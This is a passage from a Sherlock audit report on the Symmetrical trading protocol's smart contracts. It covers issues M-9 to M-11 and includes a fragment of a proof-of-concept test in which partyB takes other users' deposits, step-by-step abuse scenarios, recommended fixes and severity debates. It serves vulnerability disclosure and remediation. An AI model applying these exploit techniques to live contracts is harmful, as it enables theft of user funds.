↪   imal(1530), this.user.getAddress(), previousSig);
  // alternatively use transferAllocation
  //await context.accountFacet.connect(this.hedger.signer).transferAllocation(de⌋
↪   cimal(1530), this.user.getAddress(), this.user2.getAddress(), previousSig);
  //await context.accountFacet.connect(this.hedger.signer).deallocateForPartyB(d⌋
↪   ecimal(1530), this.user2.getAddress(), previousSig);

  var balance = await context.viewFacet.balanceOf(this.hedger.getAddress());
  console.log("PartyB balance to withdraw: " + balance/1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪   + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪   1e18);
  await time.increase(300);
  await context.accountFacet.connect(this.hedger.signer).withdraw(balance);

  var balance = await context.collateral.balanceOf(this.hedger.getAddress());
  console.log("Withdrawn partyB balance: " + balance/1e18);
  var balance = await context.collateral.balanceOf(context.diamond);
  console.log("Protocol balance: " + balance/1e18 + " (less than unsuspected
↪   user deposited)");

  // try to withdraw unsuspected user's balance
  await expect(context.accountFacet.connect(this.user2.signer).withdraw(this.pro⌋
↪   tocol_allocated))
    .to.be.revertedWith("ERC20: transfer amount exceeds balance");

  console.log("User who only deposited 1000 is unable to withdraw his deposit
↪   because partyB has stolen his funds");

});
```

Tool used

Manual Review

Recommendation

Add require's (or modifiers) to check that neither partyA nor partyB of the quote are liquidated in the following functions:

1. `deallocateForPartyB`

2. `transferAllocation`
3. `requestToClosePosition`
4. `fillCloseRequest`

Discussion

ctf-sec

Comment from senior watson:

Point 1 - As per the impact of the report, it mentioned the following:

All protocol funds can be stolen if a user can control partyA, partyB and liquidator. Since partyB and liquidator roles are supposed to be easy to get, this means that most users are able to easily steal all protocol funds.

The PartyB has to be vetted and whitelisted by protocol. The liquidator role also needs to be granted by the protocol. Only PartyA is public. It is challenging for an attacker to gain control of all three (3) roles in order to carry out the attack mentioned in the report. Thus, it does not meet the requirement of a high-risk rating

panprog

Escalate

This should be high, not medium.

1. Liquidator is **not trusted**, refer to contest Q&A:

   Are there any additional protocol roles? If yes, please explain in detail: MUON_SETTER_ROLE: Can change settings of the Muon Oracle. SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size. PAUSER_ROLE: Can pause all system operations. UNPAUSER_ROLE: Can unpause all system operations. PARTY_B_MANAGER_ROLE: Can add new partyBs to the system. LIQUIDATOR_ROLE: Can liquidate users. SETTER_ROLE: Can change main system settings. Note: All roles are trusted except for LIQUIDATOR_ROLE.

2. Liquidator role is supposed to be easy to get, even if it might require some funds deposit, but since this bug allows to steal **ALL** protocol funds deposited, this deposit can easily be forfeited. Refer to this comment:

   In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

    > ideally anyone can become a PartyB, but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain), and be able to accept trades when they come in.
    >
    > so it definitely requires some software architecture, we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless
    >
    > until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the impact (all protocol funds stolen) makes it possible to ignore all possible deposits required to obtain these roles.

As such, this should be high.

sherlock-admin2

> Escalate
>
> This should be high, not medium.
>
> 1. Liquidator is **not trusted**, refer to contest Q&A:
>
>   > Are there any additional protocol roles? If yes, please explain in detail: MUON_SETTER_ROLE: Can change settings of the Muon Oracle. SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size. PAUSER_ROLE: Can pause all system operations. UNPAUSER_ROLE: Can unpause all system operations. PARTY_B_MANAGER_ROLE: Can add new partyBs to the system. LIQUIDATOR_ROLE: Can liquidate users. SETTER_ROLE: Can change main system settings. Note: All roles are trusted except for LIQUIDATOR_ROLE.
>
> 2. Liquidator role is supposed to be easy to get, even if it might require some funds deposit, but since this bug allows to steal **ALL** protocol funds deposited, this deposit can easily be forfeited. Refer to this comment:
>
>   > In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

   > ideally anyone can become a PartyB, but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain), and be able to accept trades when they come in.
   >
   > so it definitely requires some software architecture, we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless
   >
   > until then integrations are with selected players and MarketMakers

> As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the impact (all protocol funds stolen) makes it possible to ignore all possible deposits required to obtain these roles.
>
> As such, this should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

xiaoming9090

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the `registerPartyB` function and the `grantRole` function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

sherlock-admin2

> Escalate
>
> To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.
>
> PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.
>
> PartyB and Liquidator roles must be explicitly granted by the protocol team via the `registerPartyB` function and the `grantRole` function, respectively.
>
> In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.
>
> The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.
>
> Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.
>
> Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

I would have to agree with senior watson's escalation

Consider that in the contest read me

https://audits.sherlock.xyz/contests/85

> Are the admins of the protocols your contracts integrate with (if any) TRUSTED or RESTRICTED?

TRUSTED

> Is the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?

TRUSTED

and

> PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
> LIQUIDATOR_ROLE: Can liquidate users.

needs to be granted by the protocol, recommend consider this issue as a valid medium

CodingNameKiki

Additional information by the sponsor which might be helpful.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/10

hrishibhat

Result: Medium Unique Agree with the points raised in this escalaiton. This is a valid medium issue.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- xiaoming9090: accepted
- panprog: rejected

Issue M-9: partyB can leverage emergency mode for quick profits

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/192

Found by

mstpr-brainbot

Summary

A partyB can exploit the system by requesting the activation of emergency mode when they have an open position that partyA is reluctant to close. In the interim, partyB can take advantage of any open quotes with an expected open price below the current market rate. Once partyB is granted emergency status, they can immediately close these trades for an quick profit.

Vulnerability Detail

Suppose Alice, acting as partyB, has an ongoing position with a counterparty, partyA, who has refrained from closing the position. Sensing the need for an intervention, Alice appeals to the protocol for the activation of emergency mode. However, just before the transaction granting emergency status is processed, Alice conducts a quick sweep for any open quotes where the proposed open price is less than the current market rate. Alice stumbles upon a quote where partyA offers a LONG position on 100 units of ETH at an expected open price of $2000 each. Given that the prevailing market price for ETH stands at $2010, Alice promptly takes advantage of the opportunity by opening that quote. As soon as Alice is granted emergency status, she can close the trade and immediately pocket a neat profit of $1000 [(2010-2000) x 100] within quick operations.

Impact

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L309-L321

Tool used

Manual Review

Recommendation

Make the emergency status specific for a partyA instead of granting the partyB for its all positions

Discussion

mstpr

Escalate

Above scenario can be easily leveraged by a partyB that has emergency status. Closing trades in seconds is not an intended behaviour in the current design so that's why this is a valid medium.

sherlock-admin2

> Escalate
>
> Above scenario can be easily leveraged by a partyB that has emergency status. Closing trades in seconds is not an intended behaviour in the current design so that's why this is a valid medium.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

MoonKnightDev

Party Bs are permissionless roles in this system. Moreover, the emergency status is intended for situations where Party B wants to close all positions, not just the positions of one user. Additionally, the admin has the authority to set the emergency status for Party Bs.

mstpr

@MoonKnightDev What I am arguing in there is not about partyB closing all the existed positions. PartyB can lock and close any position that is in profit.

Assume that that partyB has 2 trades going on with 2 different partyA's and protocol team gave the partyB the emergency status. What's expected is that partyB will close both of these positions and protocol team will revoke the emergency status.

Now, this partyB can quickly scan the open trades, if partyB sees any trade that is profitable at the time of opening and immediately closing (Check the impact section for the detailed scenario) partyB can quickly open that quote and close it for quick profits. Thus, partyB is not only closing its existed 2 positions as intended but it also can open and close any quote that is profitable at the time which is not intended for any partyA.

MoonKnightDev

Yes, it's better to check Party B's status, ensuring they are not in emergency mode in the open position function.

hrishibhat

Result: Medium Unique Considering this a valid medium based on the above comments

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- mstpr: accepted

Navid-Fkh

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/27

Issue M-10: Quote that have already been liquidated can be liquidated again in some cases

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/206

Found by

nobody2018

Summary

`LiquidationFacetImpl.liquidatePartyB` is used to liquidate PartyB, which directly adds `partyBAllocatedBalances[partyB][partyA]` to `allocatedBalances[partyA]` [here](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296). In this way, the liquidation against PartyB has been completed. The main purpose of `LiquidationFacetImpl.liquidatePositionsPartyB` is to remove the [OpenPositions](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L369) of both parties. **If this function is not called, the OpenPosition of both parties will always exist**. The reasons for not calling it maybe:

1. [partyBPositionLiquidatorsShare](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L373) is 0, there is no incentive for liquidator.
2. Liquidator (bot) is not working due to downtime/network issues.
3. Intentionally not called.
4. tx is deferred processing (pending in mempool), resulting in [here](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L318-L322) revert.

Afterwards, if PartyA is liquidated due to quote with other PartyB, `LiquidationFacetImpl.liquidatePositionsPartyA` will process the quotes with the original PartyB. These quotes should have been removed.

Vulnerability Detail

For simplicity, the numbers mentioned below will not be exact values, it is just to describe the issue. Suppose the following scenario:

There are 3 users: PartyA(A1), PartyB(B1), PartyB(B2). The symbol is ETH/USDT.

allocatedBalances[A1]=1000

partyBAllocatedBalances[B1][A1]=1000

partyBAllocatedBalances[B2][A1]=1000

1. A1 created a short quote1 via `PartyAFacet.sendQuote`. pendingLockedBalances[A1]=500. The current symbol price is 100.
2. B1 opens quote1 via `PartyBFacet.lockAndOpenQuote`. lockedBalances[A1]=500, partyBLockedBalances[B1][A1]=500. [LibQuote.addToOpenPositions](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L253) will add quote1 to the OpenPositions array of both parties. The status of quote1 is `QuoteStatus.OPENED`.
3. As time goes by, the price dumps to 50. B1 can be liquidated.
4. The liquidator initiates liquidation against B1 via `LiquidationFacet.liquidatePartyB`. allocatedBalances[A1]=1000+partyBAllocatedBalances[B1][A1]=2000, partyBAllocatedBalances[B1][A1]=0.
5. `liquidatePositionsPartyB` is not called, so the OpenPositions array of both parties still contains quote1, and its status is still `QuoteStatus.OPENED`.
6. A1 thinks that the price will continue to dump, and creates a short quote2. pendingLockedBalances[A1]=500. The current price is 50. Because allocatedBalances[A1]=2000 at this time, when the price pump to 200, A1 will be liquidated.
7. B2 opens quote2. lockedBalances[A1]=500, partyBLockedBalances[B2][A1]=500. The OpenPositions array of A1 contains quote1 and quote2. The OpenPositions array of B2 only has quote2.
8. As time goes by, the price pumps to 200. A1 can be liquidated.
9. The liquidator initiates liquidation of A1. This process requires 3 calls: `LiquidationFacet.liquidatePartyA/setSymbolsPrice/liquidatePositionsPartyA`. The [priceSig](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacet.sol#L28) of `setSymbolsPrice` is calculated off-chain. From the flow of the [uPnlPartyA](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/muon/crypto_v3.js#L238-L267) function in crypto_v3.js, all quotes in the OpenPositions array of A1 will be calculated into upnl. Because quote1 was opened when the price was 100, and the current price is 200, so B1 is profitable. This means that B1 that has been liquidated can also be allocated part of allocatedBalances[A1]. This is obviously unreasonable. This is a loss of part of the funds for B2.

Impact

Quotes that have already been liquidated can be liquidated again in some cases.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L301

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/muon/crypto_v3.js#L238-L267

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L52-L88

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L152-L197

Tool used

Manual Review

Recommendation

The logic of `liquidatePartyB` and `liquidatePositionsPartyB` should be merged. But this maybe trigger OOG because the OpenPosition array is large.

Discussion

securitygrid

Escalate for 10 usdc This issue is not dup of #113. please review it.

sherlock-admin2

> Escalate for 10 usdc This issue is not dup of #113. please review it.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

panprog

Escalate

This issue is invalid (will underflow), because it assumes that `liquidatePositionsPartyA` can be called after `liquidatePartyB` but before `liquidatePositionsPartyB` removes all quotes, but it's impossible, because:

1. `liquidatePartyB` zeroes out partyB locked balances: https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L300
2. `liquidatePositionsPartyA` will underflow when trying to reduce partyB locked balances (because locked balances are 0): https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L198

This is probably duplicate of #142 which is also invalid.

sherlock-admin2

> Escalate
>
> This issue is invalid (will underflow), because it assumes that `liquidatePositionsPartyA` can be called after `liquidatePartyB` but before `liquidatePositionsPartyB` removes all quotes, but it's impossible, because:
>
> 1. `liquidatePartyB` zeroes out partyB locked balances: https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L300
> 2. `liquidatePositionsPartyA` will underflow when trying to reduce partyB locked balances (because locked balances are 0): https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L198
>
> This is probably duplicate of #142 which is also invalid.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

securitygrid

I agree that this issue is invalid due to revert. What I'm trying to say is that another problem arises here. all quotes in the OpenPositions array of A1 will be calculated into upnl(from offchain). This is wrong, the correct upnl should exclude quote1.

hrishibhat

@securitygrid confirming that this is not a valid issue?

securitygrid

If the scenario in the report discusses a problem with the calculation of `upnl` in step 9, it should be a valid issue. So, I suggest that sponsors take a look at this report.

panprog

> If the scenario in the report discusses a problem with the calculation of `upnl` in step 9, it should be a valid issue.

I think that this report shows a valid problem (quotes still open after liquidation and some actions allowed), however it didn't demonstrate the valid scenario to show the impact: it demonstrates liquidation after liquidation which isn't valid as it will revert. Upnl in muon app still calculating the profit from these quotes is out of scope of this audit.

I think this should be low.

securitygrid

Looking at this report again, I'd like to argue that this issue should be a valid M. The `liquidatePositionsPartyA` function can liquidate the specified quote due to the second parameter.

1. It is no problem to liquidate quote2 via `liquidatePositionsPartyA`.
2. Liquidating quote1 via `liquidatePositionsPartyA` will revert. But it doesn't matter anymore. Because this funds should be given to B2. B2 caused the loss. This is impact.
3. The title of this report mentions "liquidated again". Although revert will occur, it has been counted into `unpl`. This can also be regarded as "liquidated again".

panprog

@securitygrid I agree that the impact is medium (although very very unlikely: the scenario presented assumes no partyB liquidation finalization for a very long time, enough for the price to grow significantly. And then again, in order for partyB2 to not receive its necessary funds from partyA liquidation - partyA should be liquidated as LATE or OVERDUE, which is unlikely by itself). However, the reason it happens is the muon app which is out of scope

> 9. From the flow of the [uPnlPartyA](https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/muon/crypto_v3.js#L238-L267) function in crypto_v3.js, all quotes in the OpenPositions array of A1 will be calculated into upnl.

That's exactly why it happens: quote1 shouldn't be included in upnl calculation (quotes with liquidated partyB must be excluded, because they're already accounted for right after liquidatePartyB). But this is the bug on the muon app side, not on the smart contract.

securitygrid

#160 also use meon app bug: `muon app doesn't check for liquidation of active position's parties, and smart contract code also ignores this.`
if this issue is not valid due to muon app, #160 should be not valid.

I've also noticed that discussions in other issues mention code from crypto_v3.js. If its code doesn't need to be considered, then those discussions don't make sense.

panprog

#160 is about `deallocate` and some other functions (including `liquidatePartyA`) being allowed for partyA while some partyB is not finished liquidating. It's not about muon app bug specifically, it just uses muon app bug to demonstrate the impact, and as I said in comments, even if muon app bug is fixed or not used, there are the other fully in-scope ways (**multiple** ways) to exploit that bug.

This report talks about `liquidatePartyB` and `liquidatePositionsPartyB` being not atomic, which I don't think is a bug as this separation is to avoid out of gas when liquidating many positions. The scenario presented in this report reverts, and what you say about partyB2 not getting paid happens only because of muon app bug. So muon app is the main reason of this bug. Besides, the scenario is so unlikely that I'm not fully sure it can be medium impact.

It does use the `liquidatePartyA` mentioned in #160, so indirectly it does imply usage of partyA functionality while partyB is liquidated, so I'm not really sure how to treat this. Maybe it's a duplicate of #160 (overlaps some of it description). But #160 is definitely valid and in-scope as the reason is not muon app.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

hrishibhat

Sponsor comment:

> the auditor has accurately pinpointed the problem. We were aware of a similar issue and have since addressed and resolved it. Added the proper tags

hrishibhat

Result: Medium Unique After considering the comments and based on Sponsor comments, considering this issue a valid medium

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- securitygrid: accepted
- panprog: accepted

Issue M-11: Malicious PartyB can block unfavorable close position requests causing a loss of profits for PartyB

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/224

Found by

Kose, Yuki, berndartmueller, xiaoming90

Summary

Malicious PartyB can block close position requests that are unfavorable toward them by intentionally choose not to fulfill the close request and continuously prolonging the force close position cooldown period, causing a loss of profits for PartyA.

Vulnerability Detail

If PartyA invokes the `requestToClosePosition` function for an open quote, the quote's status will transition from `QuoteStatus.OPEN` to `QuoteStatus.CLOSE_PENDING`. In case PartyB fails to fulfill the close request (`fillCloseRequest`) during the cooldown period (`maLayout.forceCloseCooldown`), PartyA has the option to forcibly close the quote by utilizing the `forceClosePosition` function.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L261

```
File: PartyAFacetImpl.sol
253:     function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory
 ↪  upnlSig) internal {
254:         AccountStorage.Layout storage accountLayout =
 ↪  AccountStorage.layout();
255:         MAStorage.Layout storage maLayout = MAStorage.layout();
256:         Quote storage quote = QuoteStorage.layout().quotes[quoteId];
257:
258:         uint256 filledAmount = quote.quantityToClose;
259:         require(quote.quoteStatus == QuoteStatus.CLOSE_PENDING,
 ↪  "PartyAFacet: Invalid state");
260:         require(
261:             block.timestamp > quote.modifyTimestamp +
 ↪  maLayout.forceCloseCooldown,
262:             "PartyAFacet: Cooldown not reached"
263:         );
..SNIP..
```

Nevertheless, malicious PartyB can intentionally choose not to fulfill the close request and can continuously prolong the `quote.modifyTimestamp`, thereby preventing PartyA from ever being able to activate the `forceClosePosition` function.

Malicious PartyB could extend the `quote.modifyTimestamp` via the following steps:

1) Line 282 of the `fillCloseRequest` show that it is possible to partially fill a close request. As such, calls the `fillCloseRequest` function with the minimum possible `filledAmount` for the purpose of triggering the `LibQuote.closeQuote` function at Line 292.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L256

```
File: PartyBFacetImpl.sol
256:     function fillCloseRequest(
257:         uint256 quoteId,
258:         uint256 filledAmount,
259:         uint256 closedPrice,
260:         PairUpnlAndPriceSig memory upnlSig
261:     ) internal {
..SNIP..
281:         if (quote.orderType == OrderType.LIMIT) {
282:             require(quote.quantityToClose >= filledAmount, "PartyBFacet:
↪   Invalid filledAmount");
283:         } else {
284:             require(quote.quantityToClose == filledAmount, "PartyBFacet:
↪   Invalid filledAmount");
285:         }
..SNIP..
292:         LibQuote.closeQuote(quote, filledAmount, closedPrice);
293:     }
```

2. Once the `LibQuote.closeQuote` function is triggered, Line 153 will update the `quote.modifyTimestamp` to the current timestamp, which effectively extends the cooldown period that PartyA has to wait before allowing to forcefully close the position.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L149

```
File: LibQuote.sol
149:     function closeQuote(Quote storage quote, uint256 filledAmount, uint256
↪   closedPrice) internal {
150:         QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();
151:         AccountStorage.Layout storage accountLayout =
↪   AccountStorage.layout();
152:
```

```
153:        quote.modifyTimestamp = block.timestamp;
..SNIP..
```

Impact

PartyB has the ability to deny users from forcefully closing their positions by exploiting the issue. Malicious PartyB could abuse this by blocking PartyA from closing their positions against them when the price is unfavorable toward them. For instance, when PartyA is winning the game and decided to close some of its positions against PartyB, PartyB could block the close position request to deny PartyA of their profits and prevent themselves from losing the game.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L261

Tool used

Manual Review

Recommendation

The `quote.modifyTimestamp` is updated to the current timestamp in many functions, including the `closeQuote` function, as shown in the above example. A quick search within the codebase shows that there are around 17 functions that update the `quote.modifyTimestamp` to the current timestamp when triggered. Each of these functions serves as a potential attack vector for malicious PartyB to extend the `quote.modifyTimestamp` and deny users from forcefully closing their positions

It is recommended not to use the `quote.modifyTimestamp` for the purpose of determining if the force close position cooldown has reached, as this variable has been used in many other places. Instead, consider creating a new variable, such as `quote.requestClosePositionTimestamp` solely for the purpose of computing the force cancel quote cooldown.

The following fixes will prevent malicious PartyB from extending the cooldown period since the `quote.requestClosePositionTimestamp` variable is only used solely for the purpose of determining if the force close position cooldown has reached.

```
function requestToClosePosition(
    uint256 quoteId,
    uint256 closePrice,
    uint256 quantityToClose,
    OrderType orderType,
    uint256 deadline,
    SingleUpnlAndPriceSig memory upnlSig
) internal {
..SNIP..
    accountLayout.partyANonces[quote.partyA] += 1;
    quote.modifyTimestamp = block.timestamp;
+   quote.requestCancelQuoteTimestamp = block.timestamp;
```

```
function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig)
↪  internal {
    AccountStorage.Layout storage accountLayout = AccountStorage.layout();
    MAStorage.Layout storage maLayout = MAStorage.layout();
    Quote storage quote = QuoteStorage.layout().quotes[quoteId];

    uint256 filledAmount = quote.quantityToClose;
    require(quote.quoteStatus == QuoteStatus.CLOSE_PENDING, "PartyAFacet:
↪  Invalid state");
    require(
-       block.timestamp > quote.modifyTimestamp + maLayout.forceCloseCooldown,
+       block.timestamp > quote.requestCancelQuoteTimestamp +
↪  maLayout.forceCloseCooldown,
        "PartyAFacet: Cooldown not reached"
    );
```

In addition, review the `forceClosePosition` function and applied the same fix to it since it is vulnerable to the same issue, but with a different impact.

Discussion

hrishibhat

@MoonKnightDev

hrishibhat

Considering this a valid medium based on trust assumptions of partyB

CodingNameKiki

Escalate

The severity should be high:

- Malicious party B can permanently prevent force closing a position, causing loss of profits for Party A.

Party Bs aren't intended to be trusted authorities and it can be seen both on the below screenshot and the screenshot at the end.

Malicious Party B is able to permanently prevent force closing a position by partially closing dust amounts.

Reference: #69

Short explanation

MARKET - requires all of the quantity to be closed LIMIT - can be partially closed

Since MARKET order is not allowed from force closing the position, the only way would be to set the order type as LIMIT which is exploitable by Malicious Party B.

- PartyA requests MARKET order close
- PartyB doesn't respond (malicious)
- Market close expires (can't be force closed as a position)
- PartyA requests a LIMIT order close
- PartyB (malicious) partially closes dust amounts in order to reset the quote.modifyTimestamp to the current block.timestamp

In the end Party A doesn't have a way to close the position.

Conclusion

- Party A can only force close position with LIMIT order, as MARKET is not allowed.
- Party B can close dust amounts and permanently prevent force closing a position.

As mentioned by the senior watson duo to this issue - Malicious PartyB is able to permanently block unfair closing request towards them, by closing dust amounts in order to update the modify.timestamp, Party B is able to continuously prolonging the force close position cooldown period, causing a loss of profits for PartyA. In the end not even the function forceClosePosition won't be able to save Party A.

As force closing a position on MARKET order isn't allowed, the malicious Party B can partially close dust amounts to extend the forceCooldown, making the LIMIT order not force closable as well. In the end Party A won't be able to close the position.

- In a case of malicious Party B, even the backup plan described by the sponsor won't work here.

sherlock-admin2

Escalate

The severity should be high:

- Malicious party B can permanently prevent force closing a position, causing loss of profits for Party A.

Party Bs aren't intended to be trusted authorities and it can be seen both on the below screenshot and the screenshot at the end.

Malicious Party B is able to permanently prevent force closing a position by partially closing dust amounts.

Reference: #69

Short explanation

MARKET - requires all of the quantity to be closed LIMIT - can be partially closed

Since MARKET order is not allowed from force closing the position, the only way would be to set the order type as LIMIT which is exploitable by Malicious Party B.

- PartyA requests MARKET order close
- PartyB doesn't respond (malicious)
- Market close expires (can't be force closed as a position)
- PartyA requests a LIMIT order close
- PartyB (malicious) partially closes dust amounts in order to reset the quote.modifyTimestamp to the current block.timestamp

In the end Party A doesn't have a way to close the position.

Conclusion

- Party A can only force close position with LIMIT order, as MARKET is not allowed.
- Party B can close dust amounts and permanently prevent force closing a position.

As mentioned by the senior watson duo to this issue - Malicious PartyB is able to permanently block unfair closing request towards them, by closing dust amounts in order to update the modify.timestamp, Party B is able to continuously prolonging the force close position cooldown period, causing a loss of profits for PartyA. In the end not even the function forceClosePosition won't be able to save Party A.

As force closing a position on MARKET order isn't allowed, the malicious Party B can partially close dust amounts to extend the forceCooldown, making the LIMIT order not force closable as well. In the end Party A won't be able to close the position.

- In a case of malicious Party B, even the backup plan described by the sponsor won't work here.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

CodingNameKiki

Additional information from the sponsor.

Leaving the decision to the Sherlock team.

hrishibhat

Result: Medium Has duplicates Maintaining the severity of the issue, as partyB currently is a registered entity along with the additional context of the mentioned above where partyB is malicious. https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/control/ControlFacet.sol#L59 Not penalizing the escalation because there might have been some ambiguity around the trust assumptions.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- CodingNameKiki: accepted

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/13

Issue M-12: Users might immediately be liquidated after position opening leading to a loss of CVA and Liquidation fee

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/225

Found by

